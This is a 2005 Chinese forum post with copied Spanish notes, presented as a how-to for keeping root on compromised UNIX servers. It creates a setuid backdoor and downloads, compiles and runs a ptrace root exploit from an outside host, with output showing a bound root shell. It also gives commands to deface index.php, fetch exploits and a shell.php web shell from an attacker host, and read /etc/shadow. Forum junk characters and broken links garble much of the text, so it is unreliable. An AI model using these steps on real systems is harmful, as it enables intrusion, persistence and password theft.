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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>" J+ x; }6 h" s1 C) [* O
<>1.</P>* v1 p: @' [9 P6 l7 h. R
<>[cnbird@localhost tmp]#id</P>1 a+ V; N; d0 V8 c1 X$ R
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
, I; i6 z' o% z: A5 p: M<>[cnbird@localhost tmp]#cp `which id ` .</P>
1 B8 `# R& i6 a! g: g  w<>[cnbird@localhost tmp]#chown root ./id</P>4 Q) q/ D6 m& i# J" r( n; J/ j6 d" H
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
' T4 J$ R% k2 W) _" O. _<>[cnbird@localhost tmp]#ls -l ./id</P>
! |/ G! ?6 b1 S! Q! o" ?- K<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
3 D5 s$ H5 e' y' a$ z<>[cnbird@localhost tmp]#exit</P>' ^8 G! G9 P! ?+ f# l+ z. G
<>[cnbird@localhost tmp]$id</P>, ]9 ]- B0 s& Z: u# Z( F
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>) W0 Y- v) u; d# A8 o
<>[cnbird@localhost tmp]$./id </P>/ d# p. Z4 {! o- R6 c3 |
<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>$ T8 t% K# `2 h! F' B" V' X
<>2.利用ptrace成为root的方法</P>
2 w* I& ?* w* a; w* Z0 b<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
/ Z* K) u5 U; d-&gt; Parent's PID is 2313. Child's PID is 2314.
# _) t, K. q8 ~0 U. z6 w+ [-&gt; Attaching to 2315...
: v9 @5 n1 A8 e* n4 |1 Q-&gt; Got the thread!!
; F9 G) f# J- C( n$ _; H& \7 h& v-&gt; Waiting for the next signal...0 U" z: U; c/ `# C1 n
-&gt; Injecting shellcode at 0x4000e85d5 b( H7 a4 N7 ^' ^
-&gt; Bind root shell on port 24876... =p
" ?9 f6 g* ]  }, c-&gt; Detached from modprobe thread.2 j. F3 u  I" m. S6 X  t# }1 a
-&gt; Committing suicide.....</P>
5 L8 V+ a7 b' ?, U2 D+ G<>[bash]# id* x" s) F% j  o+ {  l/ k
uid=0(root) gid=0(root) groups=0(root)</P>
0 c) F7 l) e4 n5 E! c! b' X& Q<>ara ver los dominios que hay en el server:6 a' l  @" t# K' V: x2 f. d
---------------------------------------------------------
! A& a2 R# h2 hcat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios* |5 D1 U" X3 |9 p4 ^0 W. ^% F
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios: _- v  A6 b5 a. W
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales0 j: A% ~9 v4 Q, t1 B- H
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
- ]; v( I5 v1 K1 hcat /etc/userdomains &lt;&lt; Este es el mas comun3 P0 E6 H$ E2 I: I4 s/ N
---------------------------------------------------------</P>
! `7 Z3 k+ w2 C<>ara ver la version de kernel:
2 l7 ], z+ v7 ]. H$ u---------------------------------------------------------0 {  g+ l% `. _9 R
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
* M& V& |. K  [# s. W  W3 S---------------------------------------------------------</P>4 u/ e4 A. v) X
<>ara modificar un index ya existente:# T" k# }5 o8 l8 S, A* R
---------------------------------------------------------
! y. J& {: ^4 {3 becho "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
" L* t) i" S8 U" k---------------------------------------------------------</P>8 }9 P9 h7 ?. e: {0 X+ W
<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
- o, t9 C" ]& t, C& r' {---------------------------------------------------------
8 c7 y' ]3 Z. F8 c  x" j& |cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit" m. u+ S" f1 @  E/ ]$ w2 f2 n  ~
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
1 S, V* K% z) C# t/ Ycd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"; h3 a5 G# h1 j6 D( f6 m
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
7 u+ E  r- s: WHasta aqui termina el proceso para un exploit.
! T) D. Q" [0 C/ ?4 C3 X$ W3 Z---------------------------------------------------------</P>
% s& J* O' K& ?+ g; d<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:: L6 v/ w; [) q% t3 Z7 Q# E8 P6 Q+ C
---------------------------------------------------------
) _9 o) I% b7 m1 f. t3 mcat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
" N% Q- O+ |8 q6 m' }  A---------------------------------------------------------</P>9 h: S0 b5 f% j8 r  z. O
<>Borrar un Ficher
; `+ g% K3 R2 j6 A; y9 j5 [---------------------------------------------------------9 W1 D; M( j8 S) I. W5 b
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm+ i7 [% ], K" H( N2 u
---------------------------------------------------------</P>0 x0 u' U% i1 m! J1 \! b3 w! c
<>Subir un ficher
) N) [" p& M4 Z! q0 Y1 }9 _7 v---------------------------------------------------------- N. k; S! @3 [+ a0 b& Z  O
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>/ F/ Y' X, L: K# C: \  k# B( m
<>( V# H7 N' _6 V4 u
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